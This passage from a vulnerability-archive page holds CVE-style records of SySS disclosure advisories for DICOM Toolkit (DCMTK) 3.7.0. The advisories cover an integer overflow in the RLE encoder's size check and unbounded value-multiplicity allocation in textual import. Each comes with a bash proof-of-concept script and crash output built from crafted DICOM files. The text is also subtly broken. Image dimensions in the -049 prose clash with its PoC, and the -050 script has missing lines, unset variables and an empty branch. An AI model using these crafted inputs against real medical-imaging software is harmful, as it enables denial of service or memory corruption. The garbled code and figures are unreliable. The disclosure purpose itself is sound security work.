Advisory SYSS-2026-048\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n https://www.syss.de/en/responsible-disclosure-policy\n[4] DCMTK security fix\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-190",
"description": "CWE-190",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T10:11:55Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/26"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/26"
},
{
"url": "http://dicom.offis.de/dcmtk\""
},
{
"url": "https://creativecommons.org/licenses/by/4.0/deed.en"
},
{
"url": "https://dcmtk.org/en/"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.syss.de/en/responsible-disclosure-policy"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/26"
],
"discovery": "EXTERNAL"
},
"title": "[SYSS-2026-048]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0025",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/26",
"automated": true,
"contentSha256": "ee9c7aaeb0a622baca4c79dcf96a3e99ddcb8c8751d3d72450f17f8f448e4df8",
"evidenceScore": 8,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/26",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-07-31T08:00:42Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:20Z",
"dateUpdated": "2026-09-09T10:11:55Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0025"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0026
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-09 10:11
VLAI
EPSS
VEX
Title
[SYSS-2026-049]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)
Summary
Advisory ID: SYSS-2026-049
Product: DCMTK (DICOM ToolKit)
Manufacturer: OFFIS e.V. / DCMTK Community
Affected Version(s): 3.7.0
Tested Version(s): 3.7.0
Vulnerability Type: Integer Overflow or Wraparound (CWE-190)
Risk Level: High
Solution Status: Fixed
Manufacturer Notification: 2026-07-02
Solution Date: 2026-07-03
Public Disclosure: 2026-07-31
CVE Reference: Not yet assigned
Author of Advisory: Matthias Deeg, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
DCMTK (DICOM ToolKit) is an open-source collection of libraries and
applications implementing large parts of the DICOM (Digital Imaging
and Communications in Medicine) standard (see [1]).
The Run-Length Encoded (RLE) compression codec encoder is vulnerable to
an integer overflow in the expected-size sanity check. An attacker who
can supply a crafted DICOM file with attacker-controlled image dimensions
can bypass the sanity check and cause the encoder to read beyond the
Pixel Data heap allocation.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
The function DcmRLECodecEncoder::encode() in libsrc/dcrlecce.cc (lines 186,
215-216, 243, and 256-268) performs a sanity check using 32-bit arithmetic
for attacker-controlled dimensions:
if (numberOfStripes * columns * rows * numberOfFrames > length)
result = EC_CannotChangeRepresentation;
const Uint32 bytesPerStripe = columns * rows;
frameOffset = frameSize * currentFrame;
pixelPointer = pixelData8 + frameOffset + sampleOffset +
bytesAllocated - byte - 1;
for (pixel = 0; pixel < bytesPerStripe; ++pixel)
rleEncoder->add(*pixelPointer);
The sanity check uses 32-bit arithmetic. With Rows=65535, Columns=65535,
BitsAllocated=8, SamplesPerPixel=1, and NumberOfFrames=131073, the
expected byte count wraps to 1, so a two-byte Pixel Data element passes
the check. The encoder then sets bytesPerStripe to 65535 * 65535 and
reads past the two-byte heap allocation almost immediately.
The attack chain is as follows:
1. The attacker crafts a DICOM file with carefully chosen Rows, Columns,
and NumberOfFrames values that make the sanity product overflow
to a small value.
2. The Pixel Data element is set to the small overflowed size.
3. The sanity check passes, because the overflowed product is <= length.
4. The encoder enters the stripe loop with the correct (large)
bytesPerStripe value.
5. The encoder reads beyond the Pixel Data heap allocation.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
The following PoC script demonstrates this security vulnerability:
cat > poc.sh << 'EOPOC'
#!/bin/bash
# Demonstrate the RLE encoder size-check overflow through dcmcrle
# Proof of concept exploit for SYSS-2026-049
set -u
POC_DIR="$(cd "$(dirname "$0")" && pwd)"
WORKDIR="$(mktemp -d /tmp/dcmtk-dcmcrle.XXXXXX)"
INPUT_DUMP="${WORKDIR}/poc.dump"
INPUT_DCM="${WORKDIR}/poc.dcm"
OUTPUT_DCM="${WORKDIR}/poc.rle.dcm"
LOG="${WORKDIR}/dcmcrle.valgrind.log"
cleanup()
{
rm -rf "${WORKDIR}"
}
trap cleanup EXIT
require_tool()
{
command -v "$1" >/dev/null 2>&1 || {
echo "[!] Missing required tool: $1"
exit 1
}
}
require_tool dump2dcm
require_tool dcmdump
require_tool dcmcrle
require_tool valgrind
require_tool timeout
cp "${POC_DIR}/exploit_cli.dump" "${INPUT_DUMP}"
echo "[*] RLE encoder expected-size overflow via dcmcrle"
echo "[*] Building crafted DICOM input with dump2dcm"
dump2dcm "${INPUT_DUMP}" "${INPUT_DCM}" || exit 1
echo "[*] Crafted image parameters:"
echo "[*] 32-bit sanity product: 1 * 2 * 65535 * 2147418111 == 2 (mod 2^32)"
echo "[*] Running dcmcrle under Valgrind to stop at the first invalid read"
set +e
timeout 20 valgrind --quiet --error-exitcode=99 --exit-on-first-error=yes \
dcmcrle "${INPUT_DCM}" "${OUTPUT_DCM}" >"${LOG}" 2>&1
RC=$?
set -e
cat "${LOG}"
if [ "${RC}" -eq 99 ] &&
grep -q "Invalid read of size 1" "${LOG}" &&
grep -q "DcmRLECodecEncoder::encode" "${LOG}" &&
grep -q "dcrlecce.cc:268" "${LOG}" &&
grep -q "0 bytes after a block of size 2" "${LOG}"; then
exit 0
fi
echo "[!] FAILED: expected Valgrind invalid-read evidence was not observed"
echo "[!] Workdir retained for inspection: ${WORKDIR}"
trap - EXIT
exit 1
EOPOC
The exploit causes the RLE encoder to segfault when reading the guard
page, confirming the out-of-bounds read.
./poc.sh
[*] RLE encoder expected-size overflow via dcmcrle
[*] Building crafted DICOM input with dump2dcm
[*] Crafted image parameters:
(0028,0010) US 65535 # 2, 1 Rows
(0028,0011) US 2 # 2, 1 Columns
(7fe0,0010) OB 41\42 # 2, 1 PixelData
[*] 32-bit sanity product: 1 * 2 * 65535 * 2147418111 == 2 (mod 2^32)
[*] Running dcmcrle under Valgrind to stop at the first invalid read
==53104== Invalid read of size 1
==53104== at 0x49CB83A: UnknownInlinedFun (dcrleenc.h:103)
==53104== by 0x40044D2: main (dcmcrle.cc:295)
==53104== Address 0x5dbe8b2 is 0 bytes after a block of size 2 alloc'd
==53104== by 0x495ACA7: DcmElement::newValueField() (dcelem.cc:708)
==53104==
==53104==
==53104== Exit program on first error (--exit-on-first-error=yes)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
This security issue was fixed with the commit
7e9a836672baad9e3b03fcde160d5e16de681bd5 (see [4]).
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2026-07-02: Vulnerability reported to manufacturer
2026-07-02: Manufacturer acknowledges receipt of security advisories
2026-07-03: Security fix published by manufacturer (see [4])
2026-07-31: Public release of security advisory
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
References:
[1] DCMTK project website
https://dcmtk.org/en/
[2] SySS Security Advisory SYSS-2026-049
[3] SySS GmbH, SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy
[4] DCMTK security fix
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Credits:
This security vulnerability was found by Matthias Deeg of SySS GmbH with
the assistance of SySS AI.
E-Mail: matthias.deeg (at) syss.de
Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer:
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS
website.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright:
Creative Commons - Attribution (by) - Version 4.0
URL: https://creativecommons.org/licenses/by/4.0/deed.en
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Dicom | DICOM Toolkit |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "DICOM Toolkit",
"vendor": "Dicom",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Matthias Deeg via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Advisory ID: SYSS-2026-049\nProduct: DCMTK (DICOM ToolKit)\nManufacturer: OFFIS e.V. / DCMTK Community\nAffected Version(s): 3.7.0\nTested Version(s): 3.7.0\nVulnerability Type: Integer Overflow or Wraparound (CWE-190)\nRisk Level: High\nSolution Status: Fixed\nManufacturer Notification: 2026-07-02\nSolution Date: 2026-07-03\nPublic Disclosure: 2026-07-31\nCVE Reference: Not yet assigned\nAuthor of Advisory: Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nDCMTK (DICOM ToolKit) is an open-source collection of libraries and\napplications implementing large parts of the DICOM (Digital Imaging\nand Communications in Medicine) standard (see [1]).\n\nThe Run-Length Encoded (RLE) compression codec encoder is vulnerable to\nan integer overflow in the expected-size sanity check. An attacker who\ncan supply a crafted DICOM file with attacker-controlled image dimensions\ncan bypass the sanity check and cause the encoder to read beyond the\nPixel Data heap allocation.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe function DcmRLECodecEncoder::encode() in libsrc/dcrlecce.cc (lines 186,\n215-216, 243, and 256-268) performs a sanity check using 32-bit arithmetic\nfor attacker-controlled dimensions:\n\n if (numberOfStripes * columns * rows * numberOfFrames \u003e length)\n result = EC_CannotChangeRepresentation;\n\n const Uint32 bytesPerStripe = columns * rows;\n\n\n frameOffset = frameSize * currentFrame;\n pixelPointer = pixelData8 + frameOffset + sampleOffset +\n bytesAllocated - byte - 1;\n for (pixel = 0; pixel \u003c bytesPerStripe; ++pixel)\n rleEncoder-\u003eadd(*pixelPointer);\n\nThe sanity check uses 32-bit arithmetic. With Rows=65535, Columns=65535,\nBitsAllocated=8, SamplesPerPixel=1, and NumberOfFrames=131073, the\nexpected byte count wraps to 1, so a two-byte Pixel Data element passes\nthe check. The encoder then sets bytesPerStripe to 65535 * 65535 and\nreads past the two-byte heap allocation almost immediately.\n\nThe attack chain is as follows:\n\n 1. The attacker crafts a DICOM file with carefully chosen Rows, Columns,\n and NumberOfFrames values that make the sanity product overflow\n to a small value.\n\n 2. The Pixel Data element is set to the small overflowed size.\n\n 3. The sanity check passes, because the overflowed product is \u003c= length.\n\n 4. The encoder enters the stripe loop with the correct (large)\n bytesPerStripe value.\n\n 5. The encoder reads beyond the Pixel Data heap allocation.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe following PoC script demonstrates this security vulnerability:\n\ncat \u003e poc.sh \u003c\u003c \u0027EOPOC\u0027\n#!/bin/bash\n# Demonstrate the RLE encoder size-check overflow through dcmcrle\n# Proof of concept exploit for SYSS-2026-049\n\nset -u\n\nPOC_DIR=\"$(cd \"$(dirname \"$0\")\" \u0026\u0026 pwd)\"\nWORKDIR=\"$(mktemp -d /tmp/dcmtk-dcmcrle.XXXXXX)\"\nINPUT_DUMP=\"${WORKDIR}/poc.dump\"\nINPUT_DCM=\"${WORKDIR}/poc.dcm\"\nOUTPUT_DCM=\"${WORKDIR}/poc.rle.dcm\"\nLOG=\"${WORKDIR}/dcmcrle.valgrind.log\"\n\ncleanup()\n{\n rm -rf \"${WORKDIR}\"\n}\ntrap cleanup EXIT\n\nrequire_tool()\n{\n command -v \"$1\" \u003e/dev/null 2\u003e\u00261 || {\n echo \"[!] Missing required tool: $1\"\n exit 1\n }\n}\n\nrequire_tool dump2dcm\nrequire_tool dcmdump\nrequire_tool dcmcrle\nrequire_tool valgrind\nrequire_tool timeout\n\ncp \"${POC_DIR}/exploit_cli.dump\" \"${INPUT_DUMP}\"\n\necho \"[*] RLE encoder expected-size overflow via dcmcrle\"\necho \"[*] Building crafted DICOM input with dump2dcm\"\ndump2dcm \"${INPUT_DUMP}\" \"${INPUT_DCM}\" || exit 1\n\necho \"[*] Crafted image parameters:\"\n\necho \"[*] 32-bit sanity product: 1 * 2 * 65535 * 2147418111 == 2 (mod 2^32)\"\necho \"[*] Running dcmcrle under Valgrind to stop at the first invalid read\"\n\nset +e\ntimeout 20 valgrind --quiet --error-exitcode=99 --exit-on-first-error=yes \\\n dcmcrle \"${INPUT_DCM}\" \"${OUTPUT_DCM}\" \u003e\"${LOG}\" 2\u003e\u00261\nRC=$?\nset -e\n\ncat \"${LOG}\"\n\nif [ \"${RC}\" -eq 99 ] \u0026\u0026\n grep -q \"Invalid read of size 1\" \"${LOG}\" \u0026\u0026\n grep -q \"DcmRLECodecEncoder::encode\" \"${LOG}\" \u0026\u0026\n grep -q \"dcrlecce.cc:268\" \"${LOG}\" \u0026\u0026\n grep -q \"0 bytes after a block of size 2\" \"${LOG}\"; then\n\n exit 0\nfi\n\necho \"[!] FAILED: expected Valgrind invalid-read evidence was not observed\"\necho \"[!] Workdir retained for inspection: ${WORKDIR}\"\ntrap - EXIT\nexit 1\nEOPOC\n\n\nThe exploit causes the RLE encoder to segfault when reading the guard\npage, confirming the out-of-bounds read.\n\n./poc.sh\n[*] RLE encoder expected-size overflow via dcmcrle\n[*] Building crafted DICOM input with dump2dcm\n[*] Crafted image parameters:\n\n(0028,0010) US 65535 # 2, 1 Rows\n(0028,0011) US 2 # 2, 1 Columns\n\n(7fe0,0010) OB 41\\42 # 2, 1 PixelData\n[*] 32-bit sanity product: 1 * 2 * 65535 * 2147418111 == 2 (mod 2^32)\n[*] Running dcmcrle under Valgrind to stop at the first invalid read\n==53104== Invalid read of size 1\n==53104== at 0x49CB83A: UnknownInlinedFun (dcrleenc.h:103)\n\n==53104== by 0x40044D2: main (dcmcrle.cc:295)\n==53104== Address 0x5dbe8b2 is 0 bytes after a block of size 2 alloc\u0027d\n\n==53104== by 0x495ACA7: DcmElement::newValueField() (dcelem.cc:708)\n\n==53104==\n==53104==\n==53104== Exit program on first error (--exit-on-first-error=yes)\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThis security issue was fixed with the commit\n7e9a836672baad9e3b03fcde160d5e16de681bd5 (see [4]).\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-02: Vulnerability reported to manufacturer\n2026-07-02: Manufacturer acknowledges receipt of security advisories\n2026-07-03: Security fix published by manufacturer (see [4])\n2026-07-31: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] DCMTK project website\n https://dcmtk.org/en/\n[2] SySS Security Advisory SYSS-2026-049\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n https://www.syss.de/en/responsible-disclosure-policy\n[4] DCMTK security fix\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-190",
"description": "CWE-190",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T10:11:54Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/27"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/27"
},
{
"url": "https://creativecommons.org/licenses/by/4.0/deed.en"
},
{
"url": "https://dcmtk.org/en/"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.syss.de/en/responsible-disclosure-policy"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/27"
],
"discovery": "EXTERNAL"
},
"title": "[SYSS-2026-049]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0026",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/27",
"automated": true,
"contentSha256": "cffd9c10f0b26754d6817aae05cf938555bd615599b8568770c4f94ee5ddcdf4",
"evidenceScore": 8,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/27",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-07-31T08:01:52Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:20Z",
"dateUpdated": "2026-09-09T10:11:54Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0026"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0027
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-09 10:11
VLAI
EPSS
VEX
Title
[SYSS-2026-050]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)
Summary
Advisory ID: SYSS-2026-050
Product: DCMTK (DICOM ToolKit)
Manufacturer: OFFIS e.V. / DCMTK Community
Affected Version(s): 3.7.0
Tested Version(s): 3.7.0
Vulnerability Type: Integer Overflow or Wraparound (CWE-190)
Risk Level: Medium
Solution Status: Fixed
Manufacturer Notification: 2026-07-02
Solution Date: 2026-07-03
Public Disclosure: 2026-07-31
CVE Reference: Not yet assigned
Author of Advisory: Matthias Deeg, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
DCMTK (DICOM ToolKit) is an open-source collection of libraries and
applications implementing large parts of the DICOM (Digital Imaging
and Communications in Medicine) standard (see [1]).
DCMTK's textual value import is vulnerable to unbounded Value Multiplicity
(VM) allocation. An attacker who can supply a crafted textual DICOM dump
or XML/JSON import payload can cause memory exhaustion or heap buffer
overflow via integer overflow in the typed array allocation.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
The function DcmElement::determineVM() in libsrc/dcelem.cc (line 2154)
counts backslash ('\') delimiters in a textual element value string and
returns the count as the VM:
unsigned long DcmElement::determineVM(const char *str, const size_t len)
{
unsigned long vm = 0;
if ((str != NULL) && (len > 0)) {
vm = 1;
const char *p = str;
for (size_t i = 0; i < len; i++) {
if (*p++ == '\\')
vm++;
}
}
return vm;
}
This value is used throughout the VR implementation to allocate typed
arrays:
- dcvrsl.cc:335: new Sint32[vm]
- dcvrul.cc: new Uint32[vm]
- dcvrus.cc: new Uint16[vm]
- dcvrfd.cc: new Float64[vm]
- ... and many more
A crafted ASCII dump containing a numeric VR element with many
backslash-separated tokens yields a large VM. Allocating Float64[vm]
requires 8 * vm bytes before the converted binary value is inserted into
the DICOM object. With sufficiently large inputs on 32-bit builds,
vm * sizeof(T) can also overflow size_t, producing a small allocation
that is subsequently written beyond bounds.
The attack chain is as follows:
1. The attacker crafts a textual DICOM dump/XML/JSON with a numeric VR
element (SL, UL, FD, etc.) whose value consists of a large number
of backslash-delimited tokens.
2. determineVM() counts the tokens and returns an unbounded VM.
3. The VR putString() allocates new T[vm] without bounds checking.
4. Memory exhaustion (DoS) or heap buffer overflow is triggered via
an integer overflow in the allocation size.
This path is reached by APIs and tools that parse textual values into
typed numeric VRs, e.g. dump2dcm calling DcmElement::putString().
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
The following exploit script creates a specially crafted ASCII DICOM
dump file with a numeric VR element (SL) containing many backslash-
separated tokens. This file is processed with dump2dcm under a memory
limit to trigger the memory exhaustion (std::bad_alloc).
cat > poc.sh << 'EOPOC'
#!/bin/bash
#
# POC Exploit for unbounded VM allocation in dump2dcm
# Proof of concept exploit for SYSS-2026-050
#
# Creates a crafted ASCII DICOM dump with a numeric VR element (SL)
# containing NUM_VALUES backslash-separated tokens, then feeds it
# to dump2dcm under a memory limit to trigger std::bad_alloc.
#
set -euo pipefail
DUMP2DCM="dump2dcm"
WORKDIR="/tmp/dump2dcm_poc_$$"
MEMORY_LIMIT=24576 # 24 MB virtual memory limit
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
echo "=== PoC: Unbounded VM Allocation in dump2dcm ==="
echo ""
echo "Vulnerability: DcmElement::determineVM() counts backslash delimiters"
echo " without bounds, causing new Sint32[vm] to allocate"
echo " vm * 4 bytes without any cap."
echo ""
echo "Configuration:"
echo " Values (VM): $NUM_VALUES"
echo " dump2dcm: $DUMP2DCM"
echo ""
mkdir -p "$WORKDIR"
DUMP_FILE="$WORKDIR/exploit.dump"
OUTPUT_FILE="$WORKDIR/exploit.dcm"
# Generate the payload using Python (avoids shell escaping issues)
python3 "$SCRIPT_DIR/generate_payload.py" "$NUM_VALUES" > "$DUMP_FILE"
DUMP_SIZE=$(du -sh "$DUMP_FILE" | cut -f1)
echo "[+] Crafted dump file: $DUMP_FILE ($DUMP_SIZE)"
echo ""
echo "[*] Running dump2dcm under memory limit (ulimit -v $MEMORY_LIMIT)..."
echo ""
# Run dump2dcm with memory limit
# +l sets max line length to 10M to accommodate the crafted SL element
ulimit -v "$MEMORY_LIMIT"
echo "---"
echo "Result:"
echo " Exit code: $EXIT_CODE"
echo " Output:"
echo "$OUTPUT" | tail -20
echo ""
# Clean up
rm -rf "$WORKDIR"
if [ $EXIT_CODE -ne 0 ]; then
echo "[+] SUCCESS: dump2dcm crashed with exit code $EXIT_CODE"
echo " The unbounded VM allocation exhausted memory as expected."
else
fi
echo ""
echo "=== PoC complete ==="
EOPOC
The following output shows a successful exploit crashing dump2dcm:
./poc.sh
=== PoC: Unbounded VM Allocation in dump2dcm ===
Vulnerability: DcmElement::determineVM() counts backslash delimiters
without bounds, causing new Sint32[vm] to allocate
vm * 4 bytes without any cap.
Configuration:
Values (VM): 4000000
Allocation: Sint32[4000000] = 15 MB
Memory limit: 24576 KB (24 MB)
dump2dcm: dump2dcm
[+] Crafted dump file: /tmp/dump2dcm_poc_2579/exploit.dump (7.7M)
[*] Running dump2dcm under memory limit (ulimit -v 24576)...
- ---
Result:
Exit code: 134
Output:
terminate called after throwing an instance of 'std::bad_alloc'
what(): std::bad_alloc
[+] SUCCESS: dump2dcm crashed with exit code 134
The unbounded VM allocation exhausted memory as expected.
=== PoC complete ===
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
This security issue was fixed with the commit
9cb99f1b0279e3e40243a8b9bd974edf78597a14 (see [4]).
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2026-07-02: Vulnerability reported to manufacturer
2026-07-02: Manufacturer acknowledges receipt of security advisories
2026-07-03: Security fix published by manufacturer (see [4])
2026-07-31: Public release of security advisory
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
References:
[1] DCMTK project website
https://dcmtk.org/en/
[2] SySS Security Advisory SYSS-2026-050
[3] SySS GmbH, SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy
[4] DCMTK security fix
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Credits:
This security vulnerability was found by Matthias Deeg of SySS GmbH with
the assistance of SySS AI.
E-Mail: matthias.deeg (at) syss.de
Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer:
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS
website.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright:
Creative Commons - Attribution (by) - Version 4.0
URL: https://creativecommons.org/licenses/by/4.0/deed.en
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
7 references
Impacted products
1 product
